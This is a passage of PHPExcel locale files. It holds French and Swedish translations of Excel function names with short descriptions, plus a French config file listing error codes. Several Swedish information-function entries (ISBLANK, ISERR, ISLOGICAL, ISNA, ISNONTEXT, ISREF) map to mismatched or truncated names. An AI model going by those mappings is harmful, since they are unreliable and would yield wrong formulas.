hypergéométrique. INTERCEPT = ORDONNEE.ORIGINE ## Renvoie l’ordonnée à l’origine d’une droite de régression linéaire. KURT = KURTOSIS ## Renvoie le kurtosis d’une série de données. LARGE = GRANDE.VALEUR ## Renvoie la k-ième plus grande valeur d’une série de données. LINEST = DROITEREG ## Renvoie les paramètres d’une tendance linéaire. LOGEST = LOGREG ## Renvoie les paramètres d’une tendance exponentielle. LOGINV = LOI.LOGNORMALE.INVERSE ## Renvoie l’inverse de la probabilité pour une variable aléatoire suivant la loi lognormale. LOGNORMDIST = LOI.LOGNORMALE ## Renvoie la probabilité d’une variable aléatoire continue suivant une loi lognormale. MAX = MAX ## Renvoie la valeur maximale contenue dans une liste d’arguments. MAXA = MAXA ## Renvoie la valeur maximale d’une liste d’arguments, nombres, texte et valeurs logiques inclus. MEDIAN = MEDIANE ## Renvoie la valeur médiane des nombres donnés. MIN = MIN ## Renvoie la valeur minimale contenue dans une liste d’arguments. MINA = MINA ## Renvoie la plus petite valeur d’une liste d’arguments, nombres, texte et valeurs logiques inclus. MODE = MODE ## Renvoie la valeur la plus courante d’une série de données. NEGBINOMDIST = LOI.BINOMIALE.NEG ## Renvoie la probabilité d’une variable aléatoire discrète suivant une loi binomiale négative. NORMDIST = LOI.NORMALE ## Renvoie la probabilité d’une variable aléatoire continue suivant une loi normale. NORMINV = LOI.NORMALE.INVERSE ## Renvoie, pour une probabilité donnée, la valeur d’une variable aléatoire suivant une loi normale standard. NORMSDIST = LOI.NORMALE.STANDARD ## Renvoie la probabilité d’une variable aléatoire continue suivant une loi normale standard. NORMSINV = LOI.NORMALE.STANDARD.INVERSE ## Renvoie l’inverse de la distribution cumulée normale standard. PEARSON = PEARSON ## Renvoie le coefficient de corrélation d’échantillonnage de Pearson. PERCENTILE = CENTILE ## Renvoie le k-ième centile des valeurs d’une plage. PERCENTRANK = RANG.POURCENTAGE ## Renvoie le rang en pourcentage d’une valeur d’une série de données. PERMUT = PERMUTATION ## Renvoie le nombre de permutations pour un nombre donné d’objets. POISSON = LOI.POISSON ## Renvoie la probabilité d’une variable aléatoire suivant une loi de Poisson. PROB = PROBABILITE ## Renvoie la probabilité que des valeurs d’une plage soient comprises entre deux limites. QUARTILE = QUARTILE ## Renvoie le quartile d’une série de données. RANK = RANG ## Renvoie le rang d’un nombre contenu dans une liste. RSQ = COEFFICIENT.DETERMINATION ## Renvoie la valeur du coefficient de détermination R^2 d’une régression linéaire. SKEW = COEFFICIENT.ASYMETRIE ## Renvoie l’asymétrie d’une distribution. SLOPE = PENTE ## Renvoie la pente d’une droite de régression linéaire. SMALL = PETITE.VALEUR ## Renvoie la k-ième plus petite valeur d’une série de données. STANDARDIZE = CENTREE.REDUITE ## Renvoie une valeur centrée réduite. STDEV = ECARTYPE ## Évalue l’écart type d’une population en se basant sur un échantillon de cette population. STDEVA = STDEVA ## Évalue l’écart type d’une population en se basant sur un échantillon de cette population, nombres, texte et valeurs logiques inclus. STDEVP = ECARTYPEP ## Calcule l’écart type d’une population à partir de la population entière. STDEVPA = STDEVPA ## Calcule l’écart type d’une population à partir de l’ensemble de la population, nombres, texte et valeurs logiques inclus. STEYX = ERREUR.TYPE.XY ## Renvoie l’erreur type de la valeur y prévue pour chaque x de la régression. TDIST = LOI.STUDENT ## Renvoie la probabilité d’une variable aléatoire suivant une loi T de Student. TINV = LOI.STUDENT.INVERSE ## Renvoie, pour une probabilité donnée, la valeur d’une variable aléatoire suivant une loi T de Student. TREND = TENDANCE ## Renvoie des valeurs par rapport à une tendance linéaire. TRIMMEAN = MOYENNE.REDUITE ## Renvoie la moyenne de l’intérieur d’une série de données. TTEST = TEST.STUDENT ## Renvoie la probabilité associée à un test T de Student. VAR = VAR ## Calcule la variance sur la base d’un échantillon. VARA = VARA ## Estime la variance d’une population en se basant sur un échantillon de cette population, nombres, texte et valeurs logiques incluses. VARP = VAR.P ## Calcule la variance sur la base de l’ensemble de la population. VARPA = VARPA ## Calcule la variance d’une population en se basant sur la population entière, nombres, texte et valeurs logiques inclus. WEIBULL = LOI.WEIBULL ## Renvoie la probabilité d’une variable aléatoire suivant une loi de Weibull. ZTEST = TEST.Z ## Renvoie la valeur de probabilité unilatérale d’un test z. ## ## Text functions Fonctions de texte ## ASC = ASC ## Change les caractères anglais ou katakana à pleine chasse (codés sur deux octets) à l’intérieur d’une chaîne de caractères en caractères à demi-chasse (codés sur un octet). BAHTTEXT = BAHTTEXT ## Convertit un nombre en texte en utilisant le format monétaire ß (baht). CHAR = CAR ## Renvoie le caractère spécifié par le code numérique. CLEAN = EPURAGE ## Supprime tous les caractères de contrôle du texte. CODE = CODE ## Renvoie le numéro de code du premier caractère du texte. CONCATENATE = CONCATENER ## Assemble plusieurs éléments textuels de façon à n’en former qu’un seul. DOLLAR = EURO ## Convertit un nombre en texte en utilisant le format monétaire € (euro). EXACT = EXACT ## Vérifie si deux valeurs de texte sont identiques. FIND = TROUVE ## Trouve un valeur textuelle dans une autre, en respectant la casse. FINDB = TROUVERB ## Trouve un valeur textuelle dans une autre, en respectant la casse. FIXED = CTXT ## Convertit un nombre au format texte avec un nombre de décimales spécifié. JIS = JIS ## Change les caractères anglais ou katakana à demi-chasse (codés sur un octet) à l’intérieur d’une chaîne de caractères en caractères à à pleine chasse (codés sur deux octets). LEFT = GAUCHE ## Renvoie des caractères situés à l’extrême gauche d’une chaîne de caractères. LEFTB = GAUCHEB ## Renvoie des caractères situés à l’extrême gauche d’une chaîne de caractères. LEN = NBCAR ## Renvoie le nombre de caractères contenus dans une chaîne de texte. LENB = LENB ## Renvoie le nombre de caractères contenus dans une chaîne de texte. LOWER = MINUSCULE ## Convertit le texte en minuscules. MID = STXT ## Renvoie un nombre déterminé de caractères d’une chaîne de texte à partir de la position que vous indiquez. MIDB = STXTB ## Renvoie un nombre déterminé de caractères d’une chaîne de texte à partir de la position que vous indiquez. PHONETIC = PHONETIQUE ## Extrait les caractères phonétiques (furigana) d’une chaîne de texte. PROPER = NOMPROPRE ## Met en majuscules la première lettre de chaque mot dans une chaîne textuelle. REPLACE = REMPLACER ## Remplace des caractères dans un texte. REPLACEB = REMPLACERB ## Remplace des caractères dans un texte. REPT = REPT ## Répète un texte un certain nombre de fois. RIGHT = DROITE ## Renvoie des caractères situés à l’extrême droite d’une chaîne de caractères. RIGHTB = DROITEB ## Renvoie des caractères situés à l’extrême droite d’une chaîne de caractères. SEARCH = CHERCHE ## Trouve un texte dans un autre texte (sans respecter la casse). SEARCHB = CHERCHERB ## Trouve un texte dans un autre texte (sans respecter la casse). SUBSTITUTE = SUBSTITUE ## Remplace l’ancien texte d’une chaîne de caractères par un nouveau. T = T ## Convertit ses arguments en texte. TEXT = TEXTE ## Convertit un nombre au format texte. TRIM = SUPPRESPACE ## Supprime les espaces du texte. UPPER = MAJUSCULE ## Convertit le texte en majuscules. VALUE = CNUM ## Convertit un argument textuel en nombre PHPExcel/locale/fr/config 0000644 00000002455 14642534110 0011220 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = € ## ## Excel Error Codes (For future use) ## NULL = #NUL! DIV0 = #DIV/0! VALUE = #VALEUR! REF = #REF! NAME = #NOM? NUM = #NOMBRE! NA = #N/A PHPExcel/locale/sv/functions 0000644 00000073125 14642534110 0012006 0 ustar 00 ## ## Add-in and Automation functions Tilläggs- och automatiseringsfunktioner ## GETPIVOTDATA = HÄMTA.PIVOTDATA ## Returnerar data som lagrats i en pivottabellrapport ## ## Cube functions Kubfunktioner ## CUBEKPIMEMBER = KUBKPIMEDLEM ## Returnerar namn, egenskap och mått för en KPI och visar namnet och egenskapen i cellen. En KPI, eller prestandaindikator, är ett kvantifierbart mått, t.ex. månatlig bruttovinst eller personalomsättning per kvartal, som används för att analysera ett företags resultat. CUBEMEMBER = KUBMEDLEM ## Returnerar en medlem eller ett par i en kubhierarki. Används för att verifiera att medlemmen eller paret finns i kuben. CUBEMEMBERPROPERTY = KUBMEDLEMSEGENSKAP ## Returnerar värdet för en medlemsegenskap i kuben. Används för att verifiera att ett medlemsnamn finns i kuben, samt för att returnera den angivna egenskapen för medlemmen. CUBERANKEDMEMBER = KUBRANGORDNADMEDLEM ## Returnerar den n:te, eller rangordnade, medlemmen i en uppsättning. Används för att returnera ett eller flera element i en uppsättning, till exempelvis den bästa försäljaren eller de tio bästa eleverna. CUBESET = KUBINSTÄLLNING ## Definierar en beräknad uppsättning medlemmar eller par genom att skicka ett bestämt uttryck till kuben på servern, som skapar uppsättningen och sedan returnerar den till Microsoft Office Excel. CUBESETCOUNT = KUBINSTÄLLNINGANTAL ## Returnerar antalet objekt i en uppsättning. CUBEVALUE = KUBVÄRDE ## Returnerar ett mängdvärde från en kub. ## ## Database functions Databasfunktioner ## DAVERAGE = DMEDEL ## Returnerar medelvärdet av databasposterna DCOUNT = DANTAL ## Räknar antalet celler som innehåller tal i en databas DCOUNTA = DANTALV ## Räknar ifyllda celler i en databas DGET = DHÄMTA ## Hämtar en enstaka post från en databas som uppfyller de angivna villkoren DMAX = DMAX ## Returnerar det största värdet från databasposterna DMIN = DMIN ## Returnerar det minsta värdet från databasposterna DPRODUCT = DPRODUKT ## Multiplicerar värdena i ett visst fält i poster som uppfyller villkoret DSTDEV = DSTDAV ## Uppskattar standardavvikelsen baserat på ett urval av databasposterna DSTDEVP = DSTDAVP ## Beräknar standardavvikelsen utifrån hela populationen av valda databasposter DSUM = DSUMMA ## Summerar talen i kolumnfält i databasposter som uppfyller villkoret DVAR = DVARIANS ## Uppskattar variansen baserat på ett urval av databasposterna DVARP = DVARIANSP ## Beräknar variansen utifrån hela populationen av valda databasposter ## ## Date and time functions Tid- och datumfunktioner ## DATE = DATUM ## Returnerar ett serienummer för ett visst datum DATEVALUE = DATUMVÄRDE ## Konverterar ett datum i textformat till ett serienummer DAY = DAG ## Konverterar ett serienummer till dag i månaden DAYS360 = DAGAR360 ## Beräknar antalet dagar mellan två datum baserat på ett 360-dagarsår EDATE = EDATUM ## Returnerar serienumret för ett datum som infaller ett visst antal månader före eller efter startdatumet EOMONTH = SLUTMÅNAD ## Returnerar serienumret för sista dagen i månaden ett visst antal månader tidigare eller senare HOUR = TIMME ## Konverterar ett serienummer till en timme MINUTE = MINUT ## Konverterar ett serienummer till en minut MONTH = MÅNAD ## Konverterar ett serienummer till en månad NETWORKDAYS = NETTOARBETSDAGAR ## Returnerar antalet hela arbetsdagar mellan två datum NOW = NU ## Returnerar serienumret för dagens datum och aktuell tid SECOND = SEKUND ## Konverterar ett serienummer till en sekund TIME = KLOCKSLAG ## Returnerar serienumret för en viss tid TIMEVALUE = TIDVÄRDE ## Konverterar en tid i textformat till ett serienummer TODAY = IDAG ## Returnerar serienumret för dagens datum WEEKDAY = VECKODAG ## Konverterar ett serienummer till en dag i veckan WEEKNUM = VECKONR ## Konverterar ett serienummer till ett veckonummer WORKDAY = ARBETSDAGAR ## Returnerar serienumret för ett datum ett visst antal arbetsdagar tidigare eller senare YEAR = ÅR ## Konverterar ett serienummer till ett år YEARFRAC = ÅRDEL ## Returnerar en del av ett år som representerar antalet hela dagar mellan start- och slutdatum ## ## Engineering functions Tekniska funktioner ## BESSELI = BESSELI ## Returnerar den modifierade Bessel-funktionen In(x) BESSELJ = BESSELJ ## Returnerar Bessel-funktionen Jn(x) BESSELK = BESSELK ## Returnerar den modifierade Bessel-funktionen Kn(x) BESSELY = BESSELY ## Returnerar Bessel-funktionen Yn(x) BIN2DEC = BIN.TILL.DEC ## Omvandlar ett binärt tal till decimalt BIN2HEX = BIN.TILL.HEX ## Omvandlar ett binärt tal till hexadecimalt BIN2OCT = BIN.TILL.OKT ## Omvandlar ett binärt tal till oktalt COMPLEX = KOMPLEX ## Omvandlar reella och imaginära koefficienter till ett komplext tal CONVERT = KONVERTERA ## Omvandlar ett tal från ett måttsystem till ett annat DEC2BIN = DEC.TILL.BIN ## Omvandlar ett decimalt tal till binärt DEC2HEX = DEC.TILL.HEX ## Omvandlar ett decimalt tal till hexadecimalt DEC2OCT = DEC.TILL.OKT ## Omvandlar ett decimalt tal till oktalt DELTA = DELTA ## Testar om två värden är lika ERF = FELF ## Returnerar felfunktionen ERFC = FELFK ## Returnerar den komplementära felfunktionen GESTEP = SLSTEG ## Testar om ett tal är större än ett tröskelvärde HEX2BIN = HEX.TILL.BIN ## Omvandlar ett hexadecimalt tal till binärt HEX2DEC = HEX.TILL.DEC ## Omvandlar ett hexadecimalt tal till decimalt HEX2OCT = HEX.TILL.OKT ## Omvandlar ett hexadecimalt tal till oktalt IMABS = IMABS ## Returnerar absolutvärdet (modulus) för ett komplext tal IMAGINARY = IMAGINÄR ## Returnerar den imaginära koefficienten för ett komplext tal IMARGUMENT = IMARGUMENT ## Returnerar det komplexa talets argument, en vinkel uttryckt i radianer IMCONJUGATE = IMKONJUGAT ## Returnerar det komplexa talets konjugat IMCOS = IMCOS ## Returnerar cosinus för ett komplext tal IMDIV = IMDIV ## Returnerar kvoten för två komplexa tal IMEXP = IMEUPPHÖJT ## Returnerar exponenten för ett komplext tal IMLN = IMLN ## Returnerar den naturliga logaritmen för ett komplext tal IMLOG10 = IMLOG10 ## Returnerar 10-logaritmen för ett komplext tal IMLOG2 = IMLOG2 ## Returnerar 2-logaritmen för ett komplext tal IMPOWER = IMUPPHÖJT ## Returnerar ett komplext tal upphöjt till en exponent IMPRODUCT = IMPRODUKT ## Returnerar produkten av komplexa tal IMREAL = IMREAL ## Returnerar den reella koefficienten för ett komplext tal IMSIN = IMSIN ## Returnerar sinus för ett komplext tal IMSQRT = IMROT ## Returnerar kvadratroten av ett komplext tal IMSUB = IMDIFF ## Returnerar differensen mellan två komplexa tal IMSUM = IMSUM ## Returnerar summan av komplexa tal OCT2BIN = OKT.TILL.BIN ## Omvandlar ett oktalt tal till binärt OCT2DEC = OKT.TILL.DEC ## Omvandlar ett oktalt tal till decimalt OCT2HEX = OKT.TILL.HEX ## Omvandlar ett oktalt tal till hexadecimalt ## ## Financial functions Finansiella funktioner ## ACCRINT = UPPLRÄNTA ## Returnerar den upplupna räntan för värdepapper med periodisk ränta ACCRINTM = UPPLOBLRÄNTA ## Returnerar den upplupna räntan för ett värdepapper som ger avkastning på förfallodagen AMORDEGRC = AMORDEGRC ## Returnerar avskrivningen för varje redovisningsperiod med hjälp av en avskrivningskoefficient AMORLINC = AMORLINC ## Returnerar avskrivningen för varje redovisningsperiod COUPDAYBS = KUPDAGBB ## Returnerar antal dagar från början av kupongperioden till likviddagen COUPDAYS = KUPDAGARS ## Returnerar antalet dagar i kupongperioden som innehåller betalningsdatumet COUPDAYSNC = KUPDAGNK ## Returnerar antalet dagar från betalningsdatumet till nästa kupongdatum COUPNCD = KUPNKD ## Returnerar nästa kupongdatum efter likviddagen COUPNUM = KUPANT ## Returnerar kuponger som förfaller till betalning mellan likviddagen och förfallodagen COUPPCD = KUPFKD ## Returnerar föregående kupongdatum före likviddagen CUMIPMT = KUMRÄNTA ## Returnerar den ackumulerade räntan som betalats mellan två perioder CUMPRINC = KUMPRIS ## Returnerar det ackumulerade kapitalbeloppet som betalats på ett lån mellan två perioder DB = DB ## Returnerar avskrivningen för en tillgång under en angiven tid enligt metoden för fast degressiv avskrivning DDB = DEGAVSKR ## Returnerar en tillgångs värdeminskning under en viss period med hjälp av dubbel degressiv avskrivning eller någon annan metod som du anger DISC = DISK ## Returnerar diskonteringsräntan för ett värdepapper DOLLARDE = DECTAL ## Omvandlar ett pris uttryckt som ett bråk till ett decimaltal DOLLARFR = BRÅK ## Omvandlar ett pris i kronor uttryckt som ett decimaltal till ett bråk DURATION = LÖPTID ## Returnerar den årliga löptiden för en säkerhet med periodiska räntebetalningar EFFECT = EFFRÄNTA ## Returnerar den årliga effektiva räntesatsen FV = SLUTVÄRDE ## Returnerar det framtida värdet på en investering FVSCHEDULE = FÖRRÄNTNING ## Returnerar det framtida värdet av ett begynnelsekapital beräknat på olika räntenivåer INTRATE = ÅRSRÄNTA ## Returnerar räntesatsen för ett betalt värdepapper IPMT = RBETALNING ## Returnerar räntedelen av en betalning för en given period IRR = IR ## Returnerar internräntan för en serie betalningar ISPMT = RALÅN ## Beräknar räntan som har betalats under en specifik betalningsperiod MDURATION = MLÖPTID ## Returnerar den modifierade Macauley-löptiden för ett värdepapper med det antagna nominella värdet 100 kr MIRR = MODIR ## Returnerar internräntan där positiva och negativa betalningar finansieras med olika räntor NOMINAL = NOMRÄNTA ## Returnerar den årliga nominella räntesatsen NPER = PERIODER ## Returnerar antalet perioder för en investering NPV = NETNUVÄRDE ## Returnerar nuvärdet av en serie periodiska betalningar vid en given diskonteringsränta ODDFPRICE = UDDAFPRIS ## Returnerar priset per 100 kr nominellt värde för ett värdepapper med en udda första period ODDFYIELD = UDDAFAVKASTNING ## Returnerar avkastningen för en säkerhet med en udda första period ODDLPRICE = UDDASPRIS ## Returnerar priset per 100 kr nominellt värde för ett värdepapper med en udda sista period ODDLYIELD = UDDASAVKASTNING ## Returnerar avkastningen för en säkerhet med en udda sista period PMT = BETALNING ## Returnerar den periodiska betalningen för en annuitet PPMT = AMORT ## Returnerar amorteringsdelen av en annuitetsbetalning för en given period PRICE = PRIS ## Returnerar priset per 100 kr nominellt värde för ett värdepapper som ger periodisk ränta PRICEDISC = PRISDISK ## Returnerar priset per 100 kr nominellt värde för ett diskonterat värdepapper PRICEMAT = PRISFÖRF ## Returnerar priset per 100 kr nominellt värde för ett värdepapper som ger ränta på förfallodagen PV = PV ## Returnerar nuvärdet av en serie lika stora periodiska betalningar RATE = RÄNTA ## Returnerar räntesatsen per period i en annuitet RECEIVED = BELOPP ## Returnerar beloppet som utdelas på förfallodagen för ett betalat värdepapper SLN = LINAVSKR ## Returnerar den linjära avskrivningen för en tillgång under en period SYD = ÅRSAVSKR ## Returnerar den årliga avskrivningssumman för en tillgång under en angiven period TBILLEQ = SSVXEKV ## Returnerar avkastningen motsvarande en obligation för en statsskuldväxel TBILLPRICE = SSVXPRIS ## Returnerar priset per 100 kr nominellt värde för en statsskuldväxel TBILLYIELD = SSVXRÄNTA ## Returnerar avkastningen för en statsskuldväxel VDB = VDEGRAVSKR ## Returnerar avskrivningen för en tillgång under en angiven period (med degressiv avskrivning) XIRR = XIRR ## Returnerar internräntan för en serie betalningar som inte nödvändigtvis är periodiska XNPV = XNUVÄRDE ## Returnerar det nuvarande nettovärdet för en serie betalningar som inte nödvändigtvis är periodiska YIELD = NOMAVK ## Returnerar avkastningen för ett värdepapper som ger periodisk ränta YIELDDISC = NOMAVKDISK ## Returnerar den årliga avkastningen för diskonterade värdepapper, exempelvis en statsskuldväxel YIELDMAT = NOMAVKFÖRF ## Returnerar den årliga avkastningen för ett värdepapper som ger ränta på förfallodagen ## ## Information functions Informationsfunktioner ## CELL = CELL ## Returnerar information om formatering, plats och innehåll i en cell ERROR.TYPE = FEL.TYP ## Returnerar ett tal som motsvarar ett felvärde INFO = INFO ## Returnerar information om operativsystemet ISBLANK = ÄRREF ## Returnerar SANT om värdet är tomt ISERR = Ä ## Returnerar SANT om värdet är ett felvärde annat än #SAKNAS! ISERROR = ÄRFEL ## Returnerar SANT om värdet är ett felvärde ISEVEN = ÄRJÄMN ## Returnerar SANT om talet är jämnt ISLOGICAL = ÄREJTEXT ## Returnerar SANT om värdet är ett logiskt värde ISNA = ÄRLOGISK ## Returnerar SANT om värdet är felvärdet #SAKNAS! ISNONTEXT = ÄRSAKNAD ## Returnerar SANT om värdet inte är text ISNUMBER = ÄRTAL ## Returnerar SANT om värdet är ett tal ISODD = ÄRUDDA ## Returnerar SANT om talet är udda ISREF = ÄRTOM ## Returnerar SANT om värdet är en referens ISTEXT = ÄRTEXT ## Returnerar SANT om värdet är text N = N ## Returnerar ett värde omvandlat till ett tal NA = SAKNAS ## Returnerar felvärdet #SAKNAS! TYPE = VÄRDETYP ## Returnerar ett tal som anger värdets datatyp ## ## Logical functions Logiska funktioner ## AND = OCH ## Returnerar SANT om alla argument är sanna FALSE = FALSKT ## Returnerar det logiska värdet FALSKT IF = OM ## Anger vilket logiskt test som ska utföras IFERROR = OMFEL ## Returnerar ett värde som du anger om en formel utvärderar till ett fel; annars returneras resultatet av formeln NOT = ICKE ## Inverterar logiken för argumenten OR = ELLER ## Returnerar SANT om något argument är SANT TRUE = SANT ## Returnerar det logiska värdet SANT ## ## Lookup and reference functions Sök- och referensfunktioner ## ADDRESS = ADRESS ## Returnerar en referens som text till en enstaka cell i ett kalkylblad AREAS = OMRÅDEN ## Returnerar antalet områden i en referens CHOOSE = VÄLJ ## Väljer ett värde i en lista över värden COLUMN = KOLUMN ## Returnerar kolumnnumret för en referens COLUMNS = KOLUMNER ## Returnerar antalet kolumner i en referens HLOOKUP = LETAKOLUMN ## Söker i den översta raden i en matris och returnerar värdet för angiven cell HYPERLINK = HYPERLÄNK ## Skapar en genväg eller ett hopp till ett dokument i nätverket, i ett intranät eller på Internet INDEX = INDEX ## Använder ett index för ett välja ett värde i en referens eller matris INDIRECT = INDIREKT ## Returnerar en referens som anges av ett textvärde LOOKUP = LETAUPP ## Letar upp värden i en vektor eller matris MATCH = PASSA ## Letar upp värden i en referens eller matris OFFSET = FÖRSKJUTNING ## Returnerar en referens förskjuten i förhållande till en given referens ROW = RAD ## Returnerar radnumret för en referens ROWS = RADER ## Returnerar antalet rader i en referens RTD = RTD ## Hämtar realtidsdata från ett program som stöder COM-automation (Automation: Ett sätt att arbeta med ett programs objekt från ett annat program eller utvecklingsverktyg. Detta kallades tidigare för OLE Automation, och är en branschstandard och ingår i Component Object Model (COM).) TRANSPOSE = TRANSPONERA ## Transponerar en matris VLOOKUP = LETARAD ## Letar i den första kolumnen i en matris och flyttar över raden för att returnera värdet för en cell ## ## Math and trigonometry functions Matematiska och trigonometriska funktioner ## ABS = ABS ## Returnerar absolutvärdet av ett tal ACOS = ARCCOS ## Returnerar arcus cosinus för ett tal ACOSH = ARCCOSH ## Returnerar inverterad hyperbolisk cosinus för ett tal ASIN = ARCSIN ## Returnerar arcus cosinus för ett tal ASINH = ARCSINH ## Returnerar hyperbolisk arcus sinus för ett tal ATAN = ARCTAN ## Returnerar arcus tangens för ett tal ATAN2 = ARCTAN2 ## Returnerar arcus tangens för en x- och en y- koordinat ATANH = ARCTANH ## Returnerar hyperbolisk arcus tangens för ett tal CEILING = RUNDA.UPP ## Avrundar ett tal till närmaste heltal eller närmaste signifikanta multipel COMBIN = KOMBIN ## Returnerar antalet kombinationer för ett givet antal objekt COS = COS ## Returnerar cosinus för ett tal COSH = COSH ## Returnerar hyperboliskt cosinus för ett tal DEGREES = GRADER ## Omvandlar radianer till grader EVEN = JÄMN ## Avrundar ett tal uppåt till närmaste heltal EXP = EXP ## Returnerar e upphöjt till ett givet tal FACT = FAKULTET ## Returnerar fakulteten för ett tal FACTDOUBLE = DUBBELFAKULTET ## Returnerar dubbelfakulteten för ett tal FLOOR = RUNDA.NED ## Avrundar ett tal nedåt mot noll GCD = SGD ## Returnerar den största gemensamma nämnaren INT = HELTAL ## Avrundar ett tal nedåt till närmaste heltal LCM = MGM ## Returnerar den minsta gemensamma multipeln LN = LN ## Returnerar den naturliga logaritmen för ett tal LOG = LOG ## Returnerar logaritmen för ett tal för en given bas LOG10 = LOG10 ## Returnerar 10-logaritmen för ett tal MDETERM = MDETERM ## Returnerar matrisen som är avgörandet av en matris MINVERSE = MINVERT ## Returnerar matrisinversen av en matris MMULT = MMULT ## Returnerar matrisprodukten av två matriser MOD = REST ## Returnerar resten vid en division MROUND = MAVRUNDA ## Returnerar ett tal avrundat till en given multipel MULTINOMIAL = MULTINOMIAL ## Returnerar multinomialen för en uppsättning tal ODD = UDDA ## Avrundar ett tal uppåt till närmaste udda heltal PI = PI ## Returnerar värdet pi POWER = UPPHÖJT.TILL ## Returnerar resultatet av ett tal upphöjt till en exponent PRODUCT = PRODUKT ## Multiplicerar argumenten QUOTIENT = KVOT ## Returnerar heltalsdelen av en division RADIANS = RADIANER ## Omvandlar grader till radianer RAND = SLUMP ## Returnerar ett slumptal mellan 0 och 1 RANDBETWEEN = SLUMP.MELLAN ## Returnerar ett slumptal mellan de tal som du anger ROMAN = ROMERSK ## Omvandlar vanliga (arabiska) siffror till romerska som text ROUND = AVRUNDA ## Avrundar ett tal till ett angivet antal siffror ROUNDDOWN = AVRUNDA.NEDÅT ## Avrundar ett tal nedåt mot noll ROUNDUP = AVRUNDA.UPPÅT ## Avrundar ett tal uppåt, från noll SERIESSUM = SERIESUMMA ## Returnerar summan av en potensserie baserat på formeln SIGN = TECKEN ## Returnerar tecknet för ett tal SIN = SIN ## Returnerar sinus för en given vinkel SINH = SINH ## Returnerar hyperbolisk sinus för ett tal SQRT = ROT ## Returnerar den positiva kvadratroten SQRTPI = ROTPI ## Returnerar kvadratroten för (tal * pi) SUBTOTAL = DELSUMMA ## Returnerar en delsumma i en lista eller databas SUM = SUMMA ## Summerar argumenten SUMIF = SUMMA.OM ## Summerar celler enligt ett angivet villkor SUMIFS = SUMMA.OMF ## Lägger till cellerna i ett område som uppfyller flera kriterier SUMPRODUCT = PRODUKTSUMMA ## Returnerar summan av produkterna i motsvarande matriskomponenter SUMSQ = KVADRATSUMMA ## Returnerar summan av argumentens kvadrater SUMX2MY2 = SUMMAX2MY2 ## Returnerar summan av differensen mellan kvadraterna för motsvarande värden i två matriser SUMX2PY2 = SUMMAX2PY2 ## Returnerar summan av summan av kvadraterna av motsvarande värden i två matriser SUMXMY2 = SUMMAXMY2 ## Returnerar summan av kvadraten av skillnaden mellan motsvarande värden i två matriser TAN = TAN ## Returnerar tangens för ett tal TANH = TANH ## Returnerar hyperbolisk tangens för ett tal TRUNC = AVKORTA ## Avkortar ett tal till ett heltal ## ## Statistical functions Statistiska funktioner ## AVEDEV = MEDELAVV ## Returnerar medelvärdet för datapunkters absoluta avvikelse från deras medelvärde AVERAGE = MEDEL ## Returnerar medelvärdet av argumenten AVERAGEA = AVERAGEA ## Returnerar medelvärdet av argumenten, inklusive tal, text och logiska värden AVERAGEIF = MEDELOM ## Returnerar medelvärdet (aritmetiskt medelvärde) för alla celler i ett område som uppfyller ett givet kriterium AVERAGEIFS = MEDELOMF ## Returnerar medelvärdet (det aritmetiska medelvärdet) för alla celler som uppfyller flera villkor. BETADIST = BETAFÖRD ## Returnerar den kumulativa betafördelningsfunktionen BETAINV = BETAINV ## Returnerar inversen till den kumulativa fördelningsfunktionen för en viss betafördelning BINOMDIST = BINOMFÖRD ## Returnerar den individuella binomialfördelningen CHIDIST = CHI2FÖRD ## Returnerar den ensidiga sannolikheten av c2-fördelningen CHIINV = CHI2INV ## Returnerar inversen av chi2-fördelningen CHITEST = CHI2TEST ## Returnerar oberoendetesten CONFIDENCE = KONFIDENS ## Returnerar konfidensintervallet för en populations medelvärde CORREL = KORREL ## Returnerar korrelationskoefficienten mellan två datamängder COUNT = ANTAL ## Räknar hur många tal som finns bland argumenten COUNTA = ANTALV ## Räknar hur många värden som finns bland argumenten COUNTBLANK = ANTAL.TOMMA ## Räknar antalet tomma celler i ett område COUNTIF = ANTAL.OM ## Räknar antalet celler i ett område som uppfyller angivna villkor. COUNTIFS = ANTAL.OMF ## Räknar antalet celler i ett område som uppfyller flera villkor. COVAR = KOVAR ## Returnerar kovariansen, d.v.s. medelvärdet av produkterna för parade avvikelser CRITBINOM = KRITBINOM ## Returnerar det minsta värdet för vilket den kumulativa binomialfördelningen är mindre än eller lika med ett villkorsvärde DEVSQ = KVADAVV ## Returnerar summan av kvadrater på avvikelser EXPONDIST = EXPONFÖRD ## Returnerar exponentialfördelningen FDIST = FFÖRD ## Returnerar F-sannolikhetsfördelningen FINV = FINV ## Returnerar inversen till F-sannolikhetsfördelningen FISHER = FISHER ## Returnerar Fisher-transformationen FISHERINV = FISHERINV ## Returnerar inversen till Fisher-transformationen FORECAST = PREDIKTION ## Returnerar ett värde längs en linjär trendlinje FREQUENCY = FREKVENS ## Returnerar en frekvensfördelning som en lodrät matris FTEST = FTEST ## Returnerar resultatet av en F-test GAMMADIST = GAMMAFÖRD ## Returnerar gammafördelningen GAMMAINV = GAMMAINV ## Returnerar inversen till den kumulativa gammafördelningen GAMMALN = GAMMALN ## Returnerar den naturliga logaritmen för gammafunktionen, G(x) GEOMEAN = GEOMEDEL ## Returnerar det geometriska medelvärdet GROWTH = EXPTREND ## Returnerar värden längs en exponentiell trend HARMEAN = HARMMEDEL ## Returnerar det harmoniska medelvärdet HYPGEOMDIST = HYPGEOMFÖRD ## Returnerar den hypergeometriska fördelningen INTERCEPT = SKÄRNINGSPUNKT ## Returnerar skärningspunkten för en linjär regressionslinje KURT = TOPPIGHET ## Returnerar toppigheten av en mängd data LARGE = STÖRSTA ## Returnerar det n:te största värdet i en mängd data LINEST = REGR ## Returnerar parametrar till en linjär trendlinje LOGEST = EXPREGR ## Returnerar parametrarna i en exponentiell trend LOGINV = LOGINV ## 